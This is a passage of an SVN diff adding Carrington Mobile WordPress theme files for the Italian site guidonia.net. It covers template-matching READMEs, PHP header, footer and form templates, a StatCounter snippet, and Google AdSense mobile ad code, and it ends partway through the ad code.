+The order in which these conditions are checked defaults to the following:
+
+1. author
+2. meta
+3. category
+4. role
+5. tag
+6. parent
+7. default
+
+however this order can be overridden with a plugin using the `cfct_single_match_order` hook.
+
+Once a template match has been found, no other processing is done.
+
+
+### Supported Templates (Post Context)
+
+- *{dirname}-default.php* - Used when there are no other templates that match for a given post/page.
+- *author-{username}.php* - Used when a user with that username authors a post/page. For example, a template with a file name of _author-jsmith.php_ would be used for a poat/page by user _jsmith_. Any WordPres username can take the place of {username} in the file name.
+- *cat-{slug}.php* - Used when a post is in a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *meta-{key}.php* - Used when there is a custom field for the post/page matching the key listed in the file name. This is useful if you want to be able to flag posts as "photo" or similar, and give those posts some custom treatment. In this example, you could add a custom field of "photo" with a value of the URL of the image to a post/page and it would use a template of _meta-photo.php_ if that template exists. The value does not matter in this match.
+- *meta-{key}-{value}.php* - Used when there is a custom field for the post/page matching the key and value listed in the file name. This is useful if you want to be able to flag posts as "featured" or similar, and give those posts some custom treatment. In this example, you could add a custom field of "featured" with a value of "yes" to a post/page and it would use a template of _meta-featured-yes.php_ if that template exists.
+- *page.php* - Used when the content is being displayed is a page (not a post).
+- *parent-{slug}.php* - Used when a page is a child page of a specific parent page. The page is matched by the "slug" - for example a page under a parent page with slug of "example" could use a template of _parent-example.php_.
+- *role-{role}.php* - Used when a post/page is authored by a user with a particular role. The {role} is an all lowercase representation of the role string - for example, an author with an "Administrator" role might use a template of _role-administrator.php_. This is primarily useful if you have a set of authors that are given a Contributor role; or a Guest Columnist role or similar. Any WordPress role can take the place of {role} in the file name.
+- *tag-{slug}.php* - Used when a post has a certain tag applied to it. The tag is matched by the "slug" - for example a post with tag "Reference" (with a tag slug of "reference") could use a template of _tag-reference.php_.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/excerpt/excerpt-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/excerpt/excerpt-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/excerpt/excerpt-default.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<a href="<?php the_permalink(); ?>"><?php the_title(); ?> <span class="date"><?php the_time('j M , Y'); ?></span></a>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/README.txt	(revision 44)
@@ -0,0 +1,42 @@
+## footer/
+
+The standard _footer.php_ file (included using the WordPress `get_footer()` function) in Carrington is set up to call the `cfct_footer()` function, which will choose the appropriate footer file from this directory - based on the context of the given page. This can be useful if you want to have pages to have a custom footer, or perhaps a certain category to have a custom footer.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/bottom.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/bottom.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/bottom.php	(revision 44)
@@ -0,0 +1,72 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+$about_text = cfct_about_text();
+if (!empty($about_text)) {
+?>
+<div id="about" class="group">
+	<h3><?php printf(__('About %s', 'carrington-mobile'), get_bloginfo('name')); ?></h3>
+<?php
+	echo $about_text;
+?>
+</div>
+<?php
+}
+?>
+<div id="footer">
+<?php
+if (function_exists('cfmobi_mobile_exit')) {
+	cfmobi_mobile_exit();
+}
+?>
+
+	<hr />
+<?
+/*
+	<p class="small">
+		Proudly powered by <a href="http://wordpress.org"><strong>WordPress</strong></a> and <a href="http://carringtontheme.com"><strong>Carrington</strong></a>. <?php wp_loginout(); wp_register(' | ', ''); ?><br />
+*/
+?>
+<?php
+if (function_exists('cfmobi_mobile_exit')) {
+?>
+		<a href="http://www.guidonia.net">GuidoniaPuntoNet Mobile Edition</a> is usable.
+<?php
+}
+?>
+	</p>
+<?php
+if (cfct_get_option('cfct_credit') == 'yes') {
+/*
+?>
+	<p id="developer-link"><?php printf(__('<a href="http://crowdfavorite.com" title="Custom WordPress development, design and backup services." rel="developer designer">%s</a>', 'carrington-mobile'), 'Carrington Theme by Crowd Favorite'); ?></p>
+<?php
+*/
+}
+?>
+	<div class="clear"></div>
+</div>
+<?php
+
+wp_footer();
+
+?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/footer-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/footer-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/footer-default.php	(revision 44)
@@ -0,0 +1,70 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+cfct_form('search');
+
+if (is_page()) {
+	global $post;
+	$parent = $post->ID;
+	ob_start();
+	wp_list_pages('title_li=&depth=1&child_of='.$parent);
+	$sub_pages = ob_get_contents();
+	ob_end_clean();
+} else {
+	$sub_pages = '';
+}
+
+if (!empty($sub_pages)) {
+	$sub_pages = '<li><strong class="title">'.__('Sub Pages', 'carrington-mobile').'</strong></li>'.$sub_pages.'<li><strong class="title">'.__('Top Level Pages', 'carrington-mobile').'</strong></li>';
+}
+
+?>
+<hr />
+
+<div class="tabbed">
+	<div id="recent_tab">
+		<hr />
+		<h2 class="table-title" id="recent"><?php _e('Recent Posts'); ?></h2>
+		<ul class="disclosure table group">
+			<?php wp_get_archives('type=postbypost&limit=10'); ?>
+		</ul>
+	</div>
+	<div id="pages_tab">
+		<hr />
+		<h2 class="table-title" id="pages"><?php _e('Pages'); ?></h2>
+		<ul class="disclosure table group">
+			<?php echo $sub_pages; wp_list_pages('title_li=&depth=1'); ?>
+		</ul>
+	</div>
+</div>
+
+<hr />
+
+<p id="navigation-bottom" class="navigation">
+	<?php cfct_misc('main-nav'); ?>
+</p>
+
+<hr />
+
+<?php
+
+cfct_template_file('footer', 'bottom');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/home.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/home.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/footer/home.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+cfct_form('search');
+
+?>
+<hr />
+
+	<h2 id="pages" class="table-title"><?php _e('Pages'); ?></h2>
+	<ul class="disclosure table group">
+		<?php wp_list_pages('title_li=&depth=1&child_of='.$parent); ?>
+	</ul>
+
+<hr />
+
+<p id="navigation-bottom" class="navigation">
+	<?php cfct_misc('main-nav'); ?>
+</p>
+
+<!-- Start of StatCounter Code -->
+<script type="text/javascript">
+var sc_project=5096531; 
+var sc_invisible=1; 
+var sc_partition=58; 
+var sc_click_stat=1; 
+var sc_security="e4b997ec"; 
+</script>
+
+<script type="text/javascript"
+src="http://www.statcounter.com/counter/counter.js"></script><noscript><div
+class="statcounter"><a title="myspace hit counters"
+href="http://www.statcounter.com/myspace/"
+target="_blank"><img class="statcounter"
+src="http://c.statcounter.com/5096531/0/e4b997ec/1/"
+alt="myspace hit counters" ></a></div></noscript>
+<!-- End of StatCounter Code -->
+<hr />
+
+<?php
+
+cfct_template_file('footer', 'bottom');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/README.txt	(revision 44)
@@ -0,0 +1,18 @@
+## forms/
+
+### Overview
+
+This directory holds forms that may be used in various places throughout the theme. 
+
+These forms can be included in other theme files using the following code:
+
+	<?php cfct_form('comment'); ?>
+
+Where `comment.php` is the name of the file in the _forms/_ directory that you want to include.
+
+
+### Example File Descriptions
+
+Included by default are the "post comment" form (_comment.php_) and the "search" form (_search.php_). Create as many forms as you like and store them here to keep them organized.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/comment.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/comment.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/comment.php	(revision 44)
@@ -0,0 +1,79 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+global $post, $user_ID, $user_identity, $comment_author, $comment_author_email, $comment_author_url;
+
+$req = get_option('require_name_email');
+
+// if post is open to new comments
+if ('open' == $post->comment_status) {
+	// if you need to be regestered to post comments..
+	if ( get_option('comment_registration') && !$user_ID ) { ?>
+
+<p id="you-must-be-logged-in-to-comment"><?php printf(__('Devi essere  <a href="%s">loggato</a> per inviare un commento.', 'carrington-mobile'), get_bloginfo('wpurl').'/wp-login.php?redirect_to='.get_permalink()); ?></p>
+
+<?php
+	}
+	else { 
+?>
+
+<form id="respond" action="<?php bloginfo('wpurl'); ?>/wp-comments-post.php" method="post">
+	<h3 class="title-divider"><span><?php _e('Invia una Risposta', 'carrington-mobile'); ?></span></h3>
+	<?php // if you're logged in...
+			if ($user_ID) {
+	?>
+		<p><?php printf(__('Sei entrato come <a href="%s">%s</a>. ', 'carrington-mobile'), get_bloginfo('wpurl').'/wp-admin/profile.php', $user_identity); wp_loginout() ?></p>
+	<?php
+			} else { 
+	?>
+		<p>
+			<input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" />
+			<label for="author"><small><?php _e('Nome', 'carrington-mobile'); if ($req) { _e(' (richiesto)', 'carrington-mobile'); } ?></small></label>
+		</p>
+		<p>
+			<input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" />
+			<label for="email"><small><?php _e('Email', 'carrington-mobile');
+			if ($req) {
+				_e(' (richiesto)', 'carrington-mobile');
+			}
+			else {
+				_e(' (never shared)', 'carrington-mobile');
+			} ?></small></label>
+		</p>
+		<p>
+			<input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" />
+			<label title="<?php _e('Il tuo Sito web', 'carrington-mobile'); ?>" for="url"><small><?php _e('Web', 'carrington-mobile'); ?></small></label>	
+		</p>
+	<?php 
+			} 
+	?>
+	<p><textarea name="comment" id="comment" rows="8" cols="40"></textarea></p>
+	<p>
+		<input name="submit" type="submit" id="submit" value="<?php _e('Invia il Commento', 'carrington-mobile'); ?>" tabindex="5" />
+		<input type="hidden" name="comment_post_ID" value="<?php echo $post->ID; ?>" />
+	</p>
+<?php
+do_action('comment_form', $post->ID);
+?>
+</form>
+<?php 
+	} // If registration required and not logged in 
+} // If you delete this the sky will fall on your head
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/forms/search.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+
+<hr />
+
+<div class="group">
+	<form id="search" action="<?php bloginfo('home'); ?>" method="get">
+		<div>
+			<input type="text" name="s" id="s" inputmode="predictOn" value="" />
+			<input type="submit" name="submit_button" value="Cerca" />
+		</div>
+	</form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/functions.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+load_theme_textdomain('carrington-mobile');
+
+define('CFCT_DEBUG', false);
+define('CFCT_PATH', trailingslashit(TEMPLATEPATH));
+define('CFCT_HOME_LIST_LENGTH', 5);
+define('CFCT_HOME_LATEST_LENGTH', 250);
+
+$cfct_options = array(
+	'cfct_about_text'
+	, 'cfct_credit'
+	, 'cfct_posts_per_archive_page'
+	, 'cfct_wp_footer'
+);
+
+function cfct_blog_init() {
+	if (cfct_get_option('cfct_ajax_load') == 'yes') {
+		cfct_ajax_load();
+	}
+}
+add_action('init', 'cfct_blog_init');
+
+function cfct_archive_title() {
+	if(is_author()) {
+		$output = __('Inviato da:');
+	} elseif(is_category()) {
+		$output = __('Archivi Categoria:');
+	} elseif(is_tag()) {
+		$output = __('Tag Archivi:');
+	} elseif(is_archive()) {
+		$output = __('Archivei:');
+	}
+	$output .= ' ';
+	echo $output;
+}
+
+function cfct_mobile_post_gallery_columns($columns) {
+	return 1;
+}
+add_filter('cfct_post_gallery_columns', 'cfct_mobile_post_gallery_columns');
+
+if (!is_admin()) {
+	wp_enqueue_script('jquery');
+	wp_enqueue_script('carrington-mobile', get_bloginfo('template_directory').'/js/mobile.js', array('jquery'), '1.0');
+}
+
+include_once(CFCT_PATH.'carrington-core/carrington.php');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_header();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header/README.txt	(revision 44)
@@ -0,0 +1,42 @@
+## header/
+
+The standard _header.php_ file in Carrington is set up to call the `cfct_header()` function, which will choose the appropriate header file from this directory - based on the context of the given page. This can be useful if you want to have pages to have a custom header, or perhaps a certain category to have a custom header.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header/header-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header/header-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/header/header-default.php	(revision 44)
@@ -0,0 +1,204 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.2//EN"
+"http://www.openmobilealliance.org/tech/DTD/xhtml-mobile12.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title><?php wp_title('&laquo;', true, 'right'); bloginfo('name'); ?></title>
+	<meta http-equiv="content-type" content="<?php bloginfo('html_type') ?>; charset=<?php bloginfo('charset') ?>" />
+	<meta name="viewport" content="width=320; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;"/>
+	<link rel="stylesheet" href="<?php echo get_stylesheet_uri(); ?>" type="text/css" media="screen" charset="utf-8" />
+	<style type="text/css">
+		@import url(<?php echo trailingslashit(get_bloginfo('template_url')).'css/advanced.css'; ?>);
+	</style>
+	<script type="text/javascript">
+	<!--
+<?php
+
+is_page() ? $page = 'true' : $page = 'false';
+echo '	CFMOBI_IS_PAGE = '.$page.';';
+echo "	CFMOBI_PAGES_TAB = '".str_replace("'", "\'", __('Pagine', 'carrington-mobile'))."';";
+echo "	CFMOBI_POSTS_TAB = '".str_replace("'", "\'", __('News Recenti', 'carrington-mobile'))."';";
+
+global $cfmobi_touch_browsers;
+if (!isset($cfmobi_touch_browsers) || !is_array($cfmobi_touch_browsers)) {
+	$cfmobi_touch_browsers = array(
+		'iPhone',
+		'iPod',
+		'Android',
+		'BlackBerry9530',
+		'LG-TU915 Obigo', // LG touch browser
+		'LGE VX',
+		'webOS', // Palm Pre, etc.
+	);
+}
+if (count($cfmobi_touch_browsers)) {
+	$touch = array();
+	foreach ($cfmobi_touch_browsers as $browser) {
+		$touch[] = str_replace('"', '\"', trim($browser));
+	}
+
+?>
+	var CFMOBI_TOUCH = ["<?php echo implode('","', $touch); ?>"];
+	for (var i = 0; i < CFMOBI_TOUCH.length; i++) {
+		if (navigator.userAgent.indexOf(CFMOBI_TOUCH[i]) != -1) {
+			document.write('<?php echo str_replace('/', '\/', '<link rel="stylesheet" href="'.trailingslashit(get_bloginfo('template_url')).'css/touch.css" type="text/css" media="screen" charset="utf-8" />'); ?>');
+			break;
+		}
+	}
+<?php
+
+}
+
+?> 
+	document.write('<?php
+
+ob_start();
+wp_print_scripts();
+$wp_scripts = ob_get_contents();
+ob_end_clean();
+
+echo trim(str_replace(
+	array("'", "\n", '/'), 
+	array("\'", '', '\/'),
+	$wp_scripts
+));
+
+?>');
+	//--></script>
+</head>
+<body<?php if(is_single() || is_page()) {echo '';} else { echo ' id="is-list"';} ?>>
+
+<h1 id="site-name"><a rel="home" href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
+
+<hr />
+
+<p id="navigation-top" class="navigation">
+	<?php cfct_misc('main-nav'); ?>
+</p>
+
+<hr />
+
+<?php
+################ google adsense
+
+$GLOBALS['google']['ad_type']='text_image';
+$GLOBALS['google']['channel']='';
+$GLOBALS['google']['client']='pub-9331412477710099';
+$GLOBALS['google']['format']='mobile_single';
+$GLOBALS['google']['https']=read_global('HTTPS');
+$GLOBALS['google']['ip']=read_global('REMOTE_ADDR');
+$GLOBALS['google']['markup']='chtml';
+$GLOBALS['google']['oe']='utf8';
+$GLOBALS['google']['output']='chtml';
+$GLOBALS['google']['ref']=read_global('HTTP_REFERER');
+$GLOBALS['google']['url']=read_global('HTTP_HOST') . read_global('REQUEST_URI');
+$GLOBALS['google']['useragent']=read_global('HTTP_USER_AGENT');
+$google_dt = time();
+google_set_screen_res();
+google_set_muid();
+
+function read_global($var) {
+  return isset($_SERVER[$var]) ? $_SERVER[$var]: '';
+}
+
+function google_append_url(&$url, $param, $value) {
+  $url .= '&' . $param . '=' . urlencode($value);
+}
+
+function google_append_globals(&$url, $param) {
+  google_append_url($url, $param, $GLOBALS['google'][$param]);
+}
+
+function google_append_color(&$url, $param) {
+  global $google_dt;
+  $color_array = split(',', $GLOBALS['google'][$param]);
+  google_append_url($url, $param,
+                    $color_array[$google_dt % sizeof($color_array)]);
+}
+
+function google_set_screen_res() {
+  $screen_res = read_global('HTTP_UA_PIXELS');
+  if ($screen_res == '') {
+    $screen_res = read_global('HTTP_X_UP_DEVCAP_SCREENPIXELS');
+  }
+  if ($screen_res == '') {
+    $screen_res = read_global('HTTP_X_JPHONE_DISPLAY');
+  }
+  $res_array = split('[x,*]', $screen_res);
+  if (sizeof($res_array) == 2) {
+    $GLOBALS['google']['u_w'] = $res_array[0];
+    $GLOBALS['google']['u_h'] = $res_array[1];
+  }
+}
+
+function google_set_muid() {
+  $muid = read_global('HTTP_X_DCMGUID');
+  if ($muid != '') {
+    $GLOBALS['google']['muid'] = $muid;
+  }
+  $muid = read_global('HTTP_X_UP_SUBNO');
+  if ($muid != '') {
+    $GLOBALS['google']['muid'] = $muid;
+  }
+  $muid = read_global('HTTP_X_JPHONE_UID');
+  if ($muid != '') {
+    $GLOBALS['google']['muid'] = $muid;
+  }
+  $muid = read_global('HTTP_X_EM_UID');
+  if ($muid != '') {
+    $GLOBALS['google']['muid'] = $muid;
+  }
+}
+
+function google_get_ad_url() {
+  $google_ad_url = 'http://pagead2.googlesyndication.com/pagead/ads?';
+  foreach ($GLOBALS['google'] as $param => $value) {
+    if ($param == 'client') {
+      google_append_url($google_ad_url, $param,
+                        'ca-mb-' . $GLOBALS['google'][$param]);
+    } else if (strpos($param, 'color_') === 0) {
+      google_append_color($google_ad_url, $param);
+    } else if (strpos($param, 'url') === 0) {
+      $google_scheme = ($GLOBALS['google']['https'] == 'on')
+          ? 'https://' : 'http://';
+      google_append_url($google_ad_url, $param,
+                        $google_scheme . $GLOBALS['google'][$param]);
+    } else {
+      google_append_globals($google_ad_url, $param);
+    }
